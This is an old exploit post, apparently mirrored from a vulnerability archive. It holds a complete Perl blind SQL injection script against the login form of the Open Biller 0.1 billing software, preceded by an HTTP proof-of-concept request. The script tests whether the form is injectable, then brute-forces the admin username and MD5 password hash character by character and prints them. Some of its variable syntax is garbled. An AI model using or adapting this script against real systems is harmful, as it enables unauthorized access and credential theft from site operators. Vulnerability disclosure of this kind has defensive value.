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securityvulnsSecurityvulnsSECURITYVULNS:DOC:22024
HistoryJun 14, 2009 - 12:00 a.m.

(Post Form login var 'username') BLIND SQLi exploit--Open Biller 0.1-->

2009-06-1400:00:00
vulners.com
24

#!/usr/bin/perl

#------------------------------------------------------------------------
#(Post Form login var 'username') BLIND SQLi exploit–Open Biller 0.1–>
#------------------------------------------------------------------------

#CMS INFORMATION:

#–>WEB: http://sourceforge.net/projects/geekbill/
#–>DOWNLOAD: http://sourceforge.net/projects/geekbill/
#–>DEMO: N/A
#–>CATEGORY: CMS / Portal
#–>DESCRIPTION: Open Biller aims to to be a the best open source billing

system on the planet.The system is written in PHP/MYSQL…

#–>RELEASED: 2009-05-31

#CMS VULNERABILITY:

#–>TESTED ON: firefox 3
#–>DORK: N/A
#–>CATEGORY: BLIND SQLi exploit
#–>AFFECT VERSION: CURRENT
#–>Discovered Bug date: 2009-06-09
#–>Reported Bug date: 2009-06-09
#–>Fixed bug date: N/A
#–>Info patch: N/A
#–>Author: YEnH4ckEr
#–>mail: y3nh4ck3r[at]gmail[dot]com
#–>WEB/BLOG: N/A
#–>COMMENT: A mi novia Marijose…hermano,cunyada, padres (y amigos xD) por su apoyo.
#–>EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)

#------------
#CONDITIONS:
#------------

#magic quotes=OFF

#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------

#POST http://[HOST]/[PATH]/index.php HTTP/1.1
#Host: [HOST]
#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
#Referer: http://[HOST]/[PATH]/

#username=%27+or+1%3D0%23&pass=1111&submit=Login

#username=%27+or+1%3D0%23&pass=1111&submit=Login

#######################################################################
#######################################################################
##*******************************************************************##

SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray, Evil1 …

####
##-------------------------------------------------------------------##
##
##

GREETZ TO: SPANISH H4ck3Rs community!

##*******************************************************************##
#######################################################################
#######################################################################

use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
$linux="0";
}else{
$linux="1";
}
if($linux){
system("clear");
}
else{
system("cls");
system ("title Open Biller 0.1 Blind SQL Injection Exploit");
system ("color 04");
}
}
sub request {
my $userag = LWP::UserAgent->new;
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$request = HTTP::Request -> new(POST => $[0]);
$request->referer($
[0]);
$request->content_type('application/x-www-form-urlencoded');
$request->content($[1]);
my $outcode= $userag->request($request)->as_string;
#print $outcode; #–> Active this line for debugger mode
#print $request->as_string; #–> Active this line for debugger mode
return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
print "\tWeb isn't vulnerable!\n\n";
print "\t—>Maybe:\n\n";
print "\t\t1.-Patched.\n";
print "\t\t2.-Bad path or host.\n";
print "\t\t5.-Magic quotes ON'.\n";
print "\t\tEXPLOIT FAILED!\n";
print "\t------------------------------------------------------------\n";
}
sub testedblindsql {
print "\t-----------------------------------------------------------------\n";
print "\tWEB MAYBE BE VULNERABLE!\n\n";
print "\tTested Blind SQL Injection.\n";
print "\tStarting exploit…\n";
print "\t-----------------------------------------------------------------\n\n";
}
sub helper {
print "\n\t[!!!] Open Biller 0.1 Blind SQL Injection Exploit\n";
print "\t[!!!] USAGE MODE: [!!!]\n";
print "\t[!!!] perl $0 [HOST] [PATH]\n";
print "\t[!!!] [HOST]: Web.\n";
print "\t[!!!] [PATH]: Home Path.\n";
print "\t[!!!] Example: perl $0 'www.example.com' 'demo'\n";
}
sub brute_length{
#Username length
$exit=0;
$i=0;
while($exit==0){
my
$blindsql="username='+OR+1=1+AND+(SELECT+length(username)+FROM+users+WHERE+ID=1)=".$i++."#&pass=1111&submit=Login";
#injected code
$output=&request($
[0],$blindsql);
if($output =~ (/Incorrect password, please try again./)){
$exit=1;
}else{
$exit=0;
}
#This is the max length of username
if($i>60){
&error;
exit(1);
}
}
#Save column length
$length=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tLength catched!\n";
print "\tLength Username –> ".$length."\n";
print "\tWait several minutes…\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";
return $length;
}
sub exploiting {
#Bruteforcing values
$values="";
$k=1;
$z=45;
while(($k<=$[1]) && ($z<=126)){
my
$blindsql="username='+OR+1=1+AND+ascii(substring((SELECT+".$
[2]."+FROM+users+WHERE+ID=1),".$k.",1))=".$z."#&pass=1111&submit=Login";
$output=&request($_[0],$blindsql);
if($output =~ (/Incorrect password, please try again./))
{
$values=$values.chr($z);
$k++;
$z=45;
}
#new char
$z++;
}
return $values;
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t## Open Biller 0.1 Blind SQL Injection Exploit ##\n\n";
print "\t## Blind SQL Injection Exploit ##\n\n";
print "\t## ++Conditions: magic_quotes=OFF ##\n\n";
print "\t## Author: Y3nh4ck3r ##\n\n";
print "\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";
print "\t## Proud to be Spanish! ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
$numArgs = $#ARGV + 1;
if($numArgs<=1)
{
&helper;
exit(1);
}
#Build uri
my $finalhost="http://".$host."/".$path."/index.php";
$finalrequest = $finalhost;
#Testing blind sql injection and magic_quotes (any error?)
$send_post1="username=%27+or+1%3D1%23&pass=1111&submit=Login";
$output1=&request($finalrequest,$send_post1);
$send_post2="username=%27+or+1%3D0%23&pass=1111&submit=Login";
$output2=&request($finalrequest,$send_post2);
if ($output1 eq $output2)
{
#Not injectable
&error;
exit(1);
}else{
#blind sql injection is available
&testedblindsql;
}
#Bruteforcing length
$length_user=&brute_length($finalrequest);
#Bruteforcing username…
$user=&exploiting($finalrequest,$length_user,'username');
#Bruteforcing password md5 hash…
$pwhash=&exploiting($finalrequest,32,'password');
#final checking
if((!$user) || (!$pwhash)){
&error;
exit(1);
}
print "\n\t\t*************************************************\n";
print "\t\t********* EXPLOIT EXECUTED SUCCESSFULLY********\n";
print "\t\t*************************************************\n\n";
print "\t\tAdmin-username: ".$user."\n";
print "\t\tAdmin-password: ".$pwhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3nh4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok…all job done